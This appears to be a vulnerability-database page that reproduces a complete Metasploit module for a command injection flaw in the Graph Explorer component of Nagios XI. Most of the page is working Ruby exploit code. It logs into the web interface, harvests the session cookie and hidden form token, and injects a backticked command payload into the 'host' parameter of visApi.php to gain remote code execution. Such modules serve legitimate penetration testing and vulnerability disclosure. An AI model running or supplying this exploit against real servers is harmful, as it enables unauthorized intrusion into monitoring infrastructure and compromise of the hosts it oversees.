Nagios XI Network Monitor Graph Explorer Component Command Injection

2012-12-08T05:16:25
ID MSF:EXPLOIT/UNIX/WEBAPP/NAGIOS_GRAPH_EXPLORER
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a vulnerability found in Nagios XI Network Monitor's component 'Graph Explorer'. An authenticated user can execute system commands by injecting it in several parameters, such as in visApi.php's 'host' parameter, which results in remote code execution.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
      'Description'    => %q{
          This module exploits a vulnerability found in Nagios XI Network Monitor's
        component 'Graph Explorer'.  An authenticated user can execute system commands
        by injecting it in several parameters, such as in visApi.php's 'host' parameter,
        which results in remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
          'sinn3r'
        ],
      'References'     =>
        [
          [ 'OSVDB', '83552' ],
          [ 'BID', '54263' ],
          [ 'PACKETSTORM', '118497' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x0d\x0a",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python ruby telnet',
            }
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['Graph Explorer Component prior to 1.3', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 30 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        # URI isn't registered, because this is set by the installer.
        OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
        OptString.new('PASSWORD', [true, 'The password to use'])
      ])
  end


  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/nagiosxi/includes/components/graphexplorer/visApi.php'
    })

    if res and res.code == 404
      vprint_error("Remote host does not have Graph Explorer installed.")
    elsif res and res.body =~ /Your session has timed out/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def get_login_data
    res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
    return '' if !res

    nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
    cookie = res.get_cookies.scan(/nagiosxi=(\w+); /).flatten[0]  || ''
    return nsp, cookie
  end

  def is_loggedin(cookie)
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => '/nagiosxi/index.php',
      'cookie' => "nagiosxi=#{cookie}"
    })

    if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
      return true
    else
      return false
    end
  end

  def login(nsp, cookie)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/nagiosxi/login.php',
      'cookie'    => "nagiosxi=#{cookie}",
      'vars_post' => {
        'nsp'         => nsp,
        'page'        => 'auth',
        'debug'       => '',
        'pageopt'     => 'login',
        'username'    => datastore['USERNAME'],
        'password'    => datastore['PASSWORD'],
        'loginButton' => 'Login'
      },
      'headers'   => {
        'Origin'  => "http://#{rhost}",
        'Referer' => "http://#{rhost}/nagiosxi/login.php"
      }
    })

    return is_loggedin(cookie)
  end

  def exploit
    nsp, cookie = get_login_data
    if nsp.empty?
      print_error("Unable to retrieve hidden value 'nsp'")
      return false
    end

    if login(nsp, cookie)
      print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    else
      print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
      return
    end

    print_status("Sending Command injection")
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => '/nagiosxi/includes/components/graphexplorer/visApi.php',
      'cookie'   => "nagiosxi=#{cookie}",
      'vars_get' => {
        'type' => 'stack',
        'host' => "localhost`#{payload.encoded}`",
        'service' => 'Swap_Usage',
        'div'     => 'visContainer1566841654',
        'opt'     => 'days'
      }
    })
  end


end